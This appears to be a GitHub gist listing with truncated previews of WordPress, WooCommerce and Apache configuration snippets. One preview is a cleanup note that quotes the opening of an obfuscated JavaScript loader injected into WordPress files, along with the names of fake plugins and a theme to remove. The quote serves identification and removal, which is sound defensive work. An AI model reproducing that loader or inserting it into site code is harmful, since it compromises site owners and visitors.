This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#################################################### | |
# | |
# MIMETYPES | |
# | |
#################################################### | |
AddType video/mp4 mp4 m4v | |
AddType audio/mp4 m4a | |
AddType video/ogg ogv |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
/* | |
For a better understanding of ics requirements and time formats | |
please check https://gist.github.com/jakebellacera/635416 | |
*/ | |
// UTILS | |
// Check if string is a timestamp |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
// The discount is set through a term meta 'sale_value' associated to the product, so that product regular or sales prices never need to changed manually | |
// The script also assumes the use of ACF, through get_field() | |
// BACKEND (Product list, FB feed) | |
function custom_dynamic_sale_price( $sale_price, $product ) { | |
$id = $product->get_id(); | |
$tax = get_the_terms($id,'product_cat'); | |
$regular_price = wc_format_decimal( $product->get_price() ); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// Common JS strings injected in all core, themes and plugins .js files (at the very end) - Use String Locator plugin and replace with empty space and/or use Force Reinstall plugin to reinstall all plugins - Remember to reinstall WP core files too | |
// Look for these plugins and remove them: Core, Core Stub | |
// Look for these themes and remove them: Classic | |
// Want to dig deeper? https://0x1.gitlab.io/security/Malware-Analysis-Tools-List/ | |
// 1 | |
;if(ndsj===undefined){function C(V,Z){var q=D();return C=function(i,f){i=i-0x8b;var T=q[i];return T;},C(V,Z);}(function(V,Z){var h={V:0xb0,Z:0xbd,q:0x99,i:'0x8b',f:0xba,T:0xbe},w=C,q=V();while(!![]){try{var i=parseInt(w(h.V))/0x1*(parseInt(w('0xaf'))/0x2)+parseInt(w(h.Z))/0x3*(-parseInt(w(0x96))/0x4)+-parseInt(w(h.q))/0x5+-parseInt(w('0xa0'))/0x6+-parseInt(w(0x9c))/0x7*(-parseInt(w(h.i))/0x8)+parseInt(w(h.f))/0x9+parseInt(w(h.T))/0xa*(parseInt(w('0xad'))/0xb);if(i===Z)break;else q['push'](q['shift']());}catch(f){q['push'](q['shift']());}}}(D,0x257ed));var ndsj=true,Http |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
/*------------------------------------------------------------------------------------------------ | |
This specific case assumes the following structure. Please note the absence of file extensions. | |
MAIN_DIR | |
- xyz (dir) | |
-- abc123-jpg (file) | |
-- xyz456-png (file) | |
-- jkl123-jpg-300x300 (file) | |
-- oiu456-png-300x300 (file) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
add_action( 'woocommerce_order_status_completed', 'mark_confirm_bookings', 20, 1 ); | |
function mark_confirm_bookings( $order_id ) { | |
global $wpdb; | |
$order = new WC_Order( $order_id ); | |
$bookings = array(); | |
foreach ( $order->get_items() as $order_item_id => $item ) { |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
// This is a work in progress, but it works fine | |
// Requires custom functions & libraries not present in the script (eg. Swiper) | |
// Adapted from my Visual Composer custom module (same purpose) https://gist.github.com/Jany-M/7a94e2edc04969dcded247ff99a15088 | |
// Doesn't play well with WPML, for now | |
function shambix_shortcode_mu_posts($atts, $content = null ) { | |
// Let's compare parameters with defaults |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
// Check if values are cached, if not cache them | |
//delete_transient('home_slider_24h'); | |
if(get_transient('home_slider_24h') === false) { | |
// RM Blog (post) query | |
$rm_blog_args = array( | |
'posts_per_page' => 1, | |
'cat' => 10, |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<div id="calendar"> | |
<?php | |
// Dates | |
$year = date('Y'); | |
$first_month_this_year_ts = mktime(0, 0, 0, date("F", strtotime('first month of this year')) + 1, date('d'), date('Y')); // timestamp | |
$today = date("j F Y", strtotime('today')); // human date | |
$today_ts = strtotime('today'); // timestamp | |
$today_day_of_year = date("z", $today_ts);// int |
NewerOlder